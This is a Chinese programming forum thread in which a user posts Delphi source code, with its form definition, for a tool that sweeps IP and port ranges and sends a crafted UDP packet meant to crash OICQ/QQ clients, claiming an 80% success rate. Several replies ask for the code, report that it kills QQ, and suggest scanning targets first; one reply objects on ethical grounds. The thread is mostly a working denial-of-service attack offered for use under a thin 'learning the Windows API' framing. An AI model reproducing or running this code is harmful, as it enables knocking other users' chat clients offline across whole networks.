给大家一个对OICQ有80%攻击成功率的源代码，不过原理不是我搞出来的，可以用来学习winapi(0分)

unit Unit1;

interface

uses
Windows, SysUtils,Forms,StdCtrls,winsock, Controls, Classes;

type
TForm1 = class(TForm)
Label1: TLabel;
Edit1: TEdit;
Label2: TLabel;
Edit2: TEdit;
Label3: TLabel;
Edit3: TEdit;
Label4: TLabel;
Edit4: TEdit;
Button1: TButton;
Label5: TLabel;
Label6: TLabel;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
procedure bomb;
end;

var
Form1: TForm1;
bombexit:boolean=false;

implementation

{$R *.DFM}
procedure getIP(s:string;var a1,a2,a3,a4:byte);
var
b:byte;
begin
b:=pos('.',s);a1:=strtoint(copy(s,1,b-1));s:=copy(s,b+1,255);
b:=pos('.',s);a2:=strtoint(copy(s,1,b-1));s:=copy(s,b+1,255);
b:=pos('.',s);a3:=strtoint(copy(s,1,b-1));s:=copy(s,b+1,255);
a4:=strtoint(s);
end;

procedure PMessage;
var
Msg:TMsg;
begin
while PeekMessage(Msg,0,0,0,1) do begin
if Msg.Message<>18 then begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end;
end;

procedure Tform1.bomb;
var
a1,a2,a3,a4,b1,b2,b3,b4,c1,c2,c3,c4:byte;//IP
p1,p2,p3:word;//port
b:longint;
wsadata:TWSAData;
UDP:Thandle;
sain:TsockAddrIn;
dw:dword;
buf,s:string;
aa:integer;
begin
getIP(Edit1.text,a1,a2,a3,a4);
getIP(Edit2.text,b1,b2,b3,b4);
p1:=strtoint(edit3.text);p2:=strtoint(edit4.text);
WSAStartup($101,wsadata);
sain.sin_family:=AF_INET;
sain.sin_port:=htons(p1);
sain.sin_addr.S_addr:=0;
UDP:=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP);
Bind(UDP,sain,sizeof(sain));
dw:=sizeof(sain);
buf:=#02#70#63#00#01#11#03;
setlength(buf,7);
aa:=length(buf);
Screen.Cursor:=crHourglass;
for c1:=a1 to b1 do begin
if bombexit=true then break;
for c2:=a2 to b2 do begin
if bombexit=true then break;
for c3:=a3 to b3 do begin
if bombexit=true then break;
for c4:=a4 to b4 do begin
if bombexit=true then break;
s:=inttostr(c1)+'.'+inttostr(c2)+'.'+inttostr(c3)+'.'+inttostr(c4);
b:=inet_addr(pchar(s));
sain.sin_addr.S_addr:=b;
for p3:=p1 to p2 do begin
if bombexit=true then break;
pmessage;
sain.sin_port:=htons(p3);//port
sendto(UDP,Buf[1],aa,0,sain,dw);
label5.caption:=s+':'+inttostr(p3);
pmessage;
sleep(3);
end;
end;
end;
end;
end;
label5.caption:='OK!';
closesocket(UDP);
WSAcleanup;
Screen.Cursor:=crDefault;
Button1.caption:='攻击 ：）'
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
bombexit:=false;
if Button1.caption='攻击 ：）' then
begin
Button1.caption:='停止';
bomb;
end
else
begin
Button1.caption:='停止';
bombexit:=true;
sleep(5);
end;
end;

end.

管用否[?][?]

80%一击必杀

把源程序发来看看:
hyne@citiz.net

说的详细点，edit1/edit2/edit3/edit4，分别是输什么的？
最好给我也来一份，多谢了。
fish_zxy@sina.com

object Label1: TLabel
Caption = 'IP范围:'
end
object Label2: TLabel
Caption = '--'
end
object Label3: TLabel
Caption = '端口范围:'
end
object Label4: TLabel
Caption = '--'
end
object Label5: TLabel
end
object Label6: TLabel
Caption = '当前状态:'
end
object Edit1: TEdit
Text = '127.0.0.1'
end
object Edit2: TEdit
Text = '127.0.0.1'
end
object Edit3: TEdit
Text = '4000'
end
object Edit4: TEdit
Text = '4000'
end
object Button1: TButton
Caption = '攻击 ：）'
OnClick = Button1Click
end
end

GZ

果然有奇效[]一运行QQ就死翘翘[8D]

用心做点好事吧, 这个世界已经够乱了.

最好先扫描对方是否激活QQ,不然做得有些可能是无有功。。。[]

接受答案了.

liutan大侠：
你这话说的就不对了，像我们初学者就靠这个来保持兴趣，这样才有进步嘛！！